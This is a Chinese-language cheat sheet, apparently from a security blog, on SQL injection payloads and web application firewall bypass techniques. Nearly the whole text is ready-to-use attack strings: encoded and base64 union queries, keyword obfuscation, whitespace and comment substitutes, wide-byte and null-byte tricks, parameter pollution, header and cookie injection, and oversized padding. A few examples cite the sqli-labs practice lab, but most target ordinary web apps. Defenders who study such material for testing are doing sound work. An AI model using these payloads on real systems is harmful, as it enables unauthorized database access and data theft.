对输入的数据进行编码,需要注意:编码的数据被带入数据库之前时需要进行解码。
' -> %27 -> %2527
#1' and '1'='1
1%2527 and %25271%2527%3D%25271
#1' and '1'='2
1%2527 and %25271%2527%3D%25272
#查看当前数据库及数据库数据文件路径:-1' union select 1,database(),@@datadir--+
-1%252527 union select 1,database(),@@datadir--+
思路:对源码进行逆向分析,首先对单引号需要进行一次url编码,再对url编码后的数据进行base64编码
#-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
JTJEMSUyNyUyMHVuaW9uJTIwc2VsZWN0JTIwMSUyQzIlMkNncm91cCU1RmNvbmNhdCUyOHRhYmxlJTVGbmFtZSUyOSUyMGZyb20lMjBpbmZvcm1hdGlvbiU1RnNjaGVtYSUyRXRhYmxlcyUyMHdoZXJlJTIwdGFibGUlNUZzY2hlbWElM0RkYXRhYmFzZSUyOCUyOSUyMw==
大小写混合绕过:
数据库使用不区分大小写的方式处理SQL关键字。
例: uNion selECT 1,database()--+
双关键字绕过:
例:ununionion selselectect 1,database()--+
常见符号:
符号 | 含义 |
---|---|
%0A | 新建一行 |
%0B | TAB 键(垂直) |
%0C | 新的一页 |
%0D | return 功能 |
%A0 | 空格 |
%09 | TAB 键(水平) |
数据库类型 | 可使用的字符 |
---|---|
MySQL5 | 0A,0B,0C,0D,09,A0,20 |
MySQL | 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 |
PostgreSQL | 0A,0C,0D,09,20 |
SQLite3 | 0A,0C,0D,09,20 |
Oracl 11g | 0A,0C,0D,09,20,00 |
Payload如下:
这里也过滤了and与or,这里用||代替or
1' or '1'='1
1%27%A0||%A0%271%27=%271
-1+union+select+1,2,database()
union/**/select/**/password/**/from/**/tables/**/where/**/username/**/like/**/'admin'--+
注:若过滤了=,我们可以使用LIKE关键字代替等号
Payload如下:
-1'/**/union/**/select/**/1,2,database()--+
各种方法混合绕过:若过滤了空格及\*
,可以使用下面语句进行尝试绕过
#绕过方法:
/**/ = %2f%2a%2a%2f
union = /*!union*/ = %2f%2a%21union%2a%2f = %252f%252a%2521union%252a%252f
()
进行绕过在MySQL数据库中,/**/
这个是多行注释,这个是SQL的标准,但是在MySQL数据库中扩展了这个功能,在/*
后面加上!
时(如:/*!select*/
),会被当做SQL语句进行执行
select password /*!from users*/;
0/*!'union select 1,user(),2 || '1'='2*/
有些WAF同时接受GET与POST方法,但可能只在GET方法中进行了过滤,但没有在POST方法中增加过滤规则,此时可以通过POST请求方法进行绕过
sqllabs第20关:
Payload:
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) and '1'='1
有些WAF只检测GET,POST方法。可以使用异常的方法进行绕过
增加了过滤规则的代码:
正常Payload:
GET /xxx/?id=1+and+sleep(5) HTTP/1.1
bypass:
DigApis /xxx/?id=1+and+sleep(5) HTTP/1.1
部分WAF只检测固定大小内容,可通过添加无用字符进行检测绕过
正常payload:
?id=1 and sleep(5)--+
返回页面并未出现延迟
bypass:
添加无用字符,超过WAF检测的最大字符数
?id=1' and sleep(5) and 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111--+
提交参数时,对一个参数进行多次赋不同的值(如:?id=11&id=88
),部分WAF检测的时候会检测前面的值,而后端可能会处理最后面的值,从而达到绕过
正常的Payload:
?id=1 and sleep(3)
bypass:
?id=1&id=2 and sleep(3)
将WAF中过滤的关键字通过添加%进行绕过
例如:WAF中过滤了关键字select
,可将其修改为sel%ect
来绕过WAF,当数据进入后端的时候会对参数字符串进行解码,会过滤掉%,从而达到注入效果。asp.dll对asp文件后的参数进行url解码时,会直接过滤%
字符
正常Payload:
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
bypass:
0' union sel%ect 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
以下是四种常见的Content-type类型:
Content-Type: multipart/form-data
Content-Type: application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: application/json
部分WAF只对一种Content-type类型增加了检测机制,此时可以尝试通过尝试替换Content-type类型来进行绕过
宽字节注入的原因是使用了GBK编码。为了防止注入,当用户输入单引号(%27)时,此时会自动在单引号的前面添加一个反斜杠,变为%5C%27
绕过原理:这个时候可给输入的单引号前加上%df,变为%df%27
,当带到数据库中的时候,会变为%df%5C%27
,这个时候会%df%5c
会变为一个汉字,从而绕过了反斜杠转义
正常Payload:
1' and sleep(4)--+
bypass:
1%df' and sleep(4)--+
这里例子可以查看以前写的博客
部分WAF在解析参数的时候遇见00%
就会默认参数读取结束,这样只对参数的一部分进行检测,借此可以绕过WAF
正常Payload:
?a=1&id=2 and sleep(5)--+
bypass:
?a=1%00&id=2 and sleep(5)
空字节可以有效终止字符串
id='%00' union select password from users where username='admin'--+
部分WAF只对GET及POST提交的参数进行过滤,并没有对Cookie与X-Forworded-For进行过滤,所以可以在Cookie与X-Forworded-For提交参数处进行注入。同样也可以在Referer及User-Agent处尝试注入
查看以前的博客,这里有Cookie、Referer等注入
当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理。
首先关闭burp的Repeater的Content-Length自动更新
修改Connection字段值为keep-alive,将带有攻击语句的数据请求附加到正常请求后面再发送一遍。
具体实例查看这位大佬博客
floor() --> updatexml(), extractvalue()
substring() --> substr(),left(),right(),mid(),lpad(),rpad
concat() --> concat_ws(),group_concat()
limit 0,1 --> limit 1 offset 0
and --> &&
or --> ||
= --> <,>
= --> like
sleep() --> benchmark()
还有case when函数
id=2-(case when(database()='security') then 1 else 0 end)
数据库连接字符串
数据库 | 连接示例 |
---|---|
MySQL | ‘ab’ = ‘a’ ‘b’ |
SQL Server | ‘ab’ = ‘a’+‘b’ |
Oracle和PostgreSQL | ‘ab’ = ‘a’||‘b’ |
Oracle:'sel'||'ect'
SQL_server:'sel'+'ect'
MySQL:'sel' 'ect'
select = char(83)+char(69)+char(76)+char(69)+char(67)+char(84)
使用连字符可以尝试绕过关键字过滤,同时连字符也可以对数据库类型进行大概的判断
补充:mysql数据库中的加号与空格
#加号计算的结果都为数字,字符与字符相加为0
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
uname=ad'+'min' or '1'='1&passwd=&submit=Submit
SELECT username, password FROM users WHERE username='ad'+'min' or '1'='1' and password='' LIMIT 0,1
#转换为下面语句
SELECT username, password FROM users WHERE username=0 or '1'='1' and password='' LIMIT 0,1
SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1
uname=ad' 'min' or '1'='1&passwd=&submit=Submit
SELECT username, password FROM users WHERE username='ad' 'min' or '1'='1' and password='' LIMIT 0,1
#转换为如下:
SELECT username, password FROM users WHERE username='admin' or '1'='1' and password='' LIMIT 0,1